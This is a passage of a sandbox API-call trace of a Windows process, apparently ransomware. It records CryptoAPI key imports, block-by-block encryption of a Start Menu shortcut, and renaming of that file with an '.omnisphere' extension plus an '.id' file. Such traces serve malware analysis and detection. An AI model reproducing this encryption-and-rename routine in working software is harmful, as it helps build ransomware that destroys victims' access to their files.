returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] GetTickCount () returned 0x1162e1c [0140.074] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668240) returned 1 [0140.075] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x16394e8) returned 1 [0140.075] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0140.075] CryptDestroyKey (hKey=0x16394e8) returned 1 [0140.075] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0140.075] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52d, lpName=0x0) returned 0x388 [0140.075] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x52d) returned 0x1480000 [0140.076] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x16683d8) returned 1 [0140.076] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16396a8) returned 1 [0140.076] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0140.076] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0140.076] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.076] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.076] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.076] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.076] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.076] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.077] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.078] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.079] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.080] CryptDestroyKey (hKey=0x16396a8) returned 1 [0140.080] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0140.080] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x52d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0140.080] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0140.080] GetProcessHeap () returned 0x1600000 [0140.080] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ee) returned 0x1725bf0 [0140.080] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk.omnisphere")) returned 1 [0140.083] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk.omnisphere.id" [0140.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0140.084] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0140.085] CloseHandle (hObject=0x3b4) returned 1 [0140.086] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0140.086] CloseHandle (hObject=0x388) returned 1 [0140.086] SetEndOfFile (hFile=0x3c0) returned 1 [0140.087] FlushFileBuffers (hFile=0x3c0) returned 1 [0140.121] CloseHandle (hObject=0x3c0) returned 1 [0140.121] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned 1 [0140.121] GetProcessHeap () returned 0x1600000 [0140.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1725ee8 [0140.121] 